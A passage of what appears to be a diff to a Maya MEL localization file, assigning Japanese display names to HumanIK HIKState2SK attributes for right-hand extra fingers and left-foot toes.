+setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ISz", "右手追加指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreR", "右手追加指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreRx", "右手追加指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreRy", "右手追加指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreRz", "右手追加指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostR", "右手追加指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostRx", "右手追加指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostRy", "右手追加指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostRz", "右手追加指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4T", "右手追加指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Tx", "右手追加指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Ty", "右手追加指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Tz", "右手追加指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4R", "右手追加指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Rx", "右手追加指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Ry", "右手追加指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Rz", "右手追加指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4S", "右手追加指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Sx", "右手追加指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Sy", "右手追加指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Sz", "右手追加指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PGX", "右手追加指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ROrder", "右手追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4SC", "右手追加指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4IS", "右手追加指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ISx", "右手追加指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ISy", "右手追加指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ISz", "右手追加指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreR", "右手追加指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreRx", "右手追加指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreRy", "右手追加指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreRz", "右手追加指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostR", "右手追加指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostRx", "右手追加指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostRy", "右手追加指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostRz", "右手追加指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1T", "左足親指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Tx", "左足親指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Ty", "左足親指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Tz", "左足親指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1R", "左足親指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Rx", "左足親指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Ry", "左足親指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Rz", "左足親指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1S", "左足親指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Sx", "左足親指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Sy", "左足親指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Sz", "左足親指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PGX", "左足親指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ROrder", "左足親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1SC", "左足親指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1IS", "左足親指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ISx", "左足親指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ISy", "左足親指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ISz", "左足親指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreR", "左足親指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreRx", "左足親指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreRy", "左足親指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreRz", "左足親指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostR", "左足親指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostRx", "左足親指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostRy", "左足親指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostRz", "左足親指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2T", "左足親指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Tx", "左足親指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Ty", "左足親指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Tz", "左足親指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2R", "左足親指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Rx", "左足親指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Ry", "左足親指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Rz", "左足親指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2S", "左足親指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Sx", "左足親指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Sy", "左足親指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Sz", "左足親指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PGX", "左足親指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ROrder", "左足親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2SC", "左足親指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2IS", "左足親指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ISx", "左足親指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ISy", "左足親指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ISz", "左足親指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreR", "左足親指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreRx", "左足親指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreRy", "左足親指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreRz", "左足親指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostR", "左足親指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostRx", "左足親指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostRy", "左足親指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostRz", "左足親指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3T", "左足親指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Tx", "左足親指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Ty", "左足親指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Tz", "左足親指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3R", "左足親指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Rx", "左足親指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Ry", "左足親指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Rz", "左足親指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3S", "左足親指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Sx", "左足親指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Sy", "左足親指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Sz", "左足親指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PGX", "左足親指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ROrder", "左足親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3SC", "左足親指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3IS", "左足親指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ISx", "左足親指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ISy", "左足親指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ISz", "左足親指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreR", "左足親指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreRx", "左足親指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreRy", "左足親指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreRz", "左足親指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostR", "左足親指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostRx", "左足親指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostRy", "左足親指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostRz", "左足親指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4T", "左足親指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Tx", "左足親指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Ty", "左足親指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Tz", "左足親指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4R", "左足親指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Rx", "左足親指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Ry", "左足親指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Rz", "左足親指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4S", "左足親指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Sx", "左足親指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Sy", "左足親指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Sz", "左足親指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PGX", "左足親指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ROrder", "左足親指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4SC", "左足親指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4IS", "左足親指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ISx", "左足親指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ISy", "左足親指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ISz", "左足親指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreR", "左足親指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreRx", "左足親指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreRy", "左足親指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreRz", "左足親指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PostR", "左足親指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PostRx", "左足親指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PostRy", "左足親指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PostRz", "左足親指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1T", "左足人差指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Tx", "左足人差指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Ty", "左足人差指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Tz", "左足人差指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1R", "左足人差指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Rx", "左足人差指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Ry", "左足人差指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Rz", "左足人差指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1S", "左足人差指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Sx", "左足人差指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Sy", "左足人差指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Sz", "左足人差指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PGX", "左足人差指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ROrder", "左足人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1SC", "左足人差指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1IS", "左足人差指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ISx", "左足人差指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ISy", "左足人差指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ISz", "左足人差指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreR", "左足人差指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreRx", "左足人差指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreRy", "左足人差指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreRz", "左足人差指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostR", "左足人差指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostRx", "左足人差指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostRy", "左足人差指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostRz", "左足人差指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2T", "左足人差指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Tx", "左足人差指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Ty", "左足人差指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Tz", "左足人差指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2R", "左足人差指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Rx", "左足人差指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Ry", "左足人差指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Rz", "左足人差指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2S", "左足人差指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Sx", "左足人差指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Sy", "左足人差指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Sz", "左足人差指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PGX", "左足人差指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ROrder", "左足人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2SC", "左足人差指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2IS", "左足人差指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ISx", "左足人差指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ISy", "左足人差指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ISz", "左足人差指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreR", "左足人差指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreRx", "左足人差指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreRy", "左足人差指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreRz", "左足人差指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostR", "左足人差指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostRx", "左足人差指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostRy", "左足人差指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostRz", "左足人差指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3T", "左足人差指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Tx", "左足人差指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Ty", "左足人差指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Tz", "左足人差指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3R", "左足人差指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Rx", "左足人差指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Ry", "左足人差指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Rz", "左足人差指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3S", "左足人差指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Sx", "左足人差指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Sy", "左足人差指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Sz", "左足人差指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PGX", "左足人差指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ROrder", "左足人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3SC", "左足人差指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3IS", "左足人差指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ISx", "左足人差指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ISy", "左足人差指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ISz", "左足人差指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreR", "左足人差指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreRx", "左足人差指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreRy", "左足人差指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreRz", "左足人差指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostR", "左足人差指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostRx", "左足人差指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostRy", "左足人差指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostRz", "左足人差指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4T", "左足人差指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Tx", "左足人差指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Ty", "左足人差指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Tz", "左足人差指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4R", "左足人差指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Rx", "左足人差指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Ry", "左足人差指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Rz", "左足人差指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4S", "左足人差指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Sx", "左足人差指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Sy", "左足人差指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Sz", "左足人差指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PGX", "左足人差指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ROrder", "左足人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4SC", "左足人差指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4IS", "左足人差指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ISx", "左足人差指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ISy", "左足人差指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ISz", "左足人差指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreR", "左足人差指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreRx", "左足人差指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreRy", "左足人差指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreRz", "左足人差指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostR", "左足人差指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostRx", "左足人差指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostRy", "左足人差指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostRz", "左足人差指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1T", "左足中指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Tx", "左足中指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Ty", "左足中指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Tz", "左足中指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1R", "左足中指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Rx", "左足中指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Ry", "左足中指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Rz", "左足中指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1S", "左足中指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Sx", "左足中指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Sy", "左足中指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Sz", "左足中指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PGX", "左足中指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ROrder", "左足中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1SC", "左足中指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1IS", "左足中指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ISx", "左足中指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ISy", "左足中指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ISz", "左足中指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreR", "左足中指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreRx", "左足中指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreRy", "左足中指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreRz", "左足中指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostR", "左足中指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostRx", "左足中指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostRy", "左足中指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostRz", "左足中指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2T", "左足中指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Tx", "左足中指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Ty", "左足中指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Tz", "左足中指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2R", "左足中指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Rx", "左足中指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Ry", "左足中指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Rz", "左足中指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2S", "左足中指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Sx", "左足中指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Sy", "左足中指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Sz", "左足中指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PGX", "左足中指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ROrder", "左足中指 2 の回転順序" ); 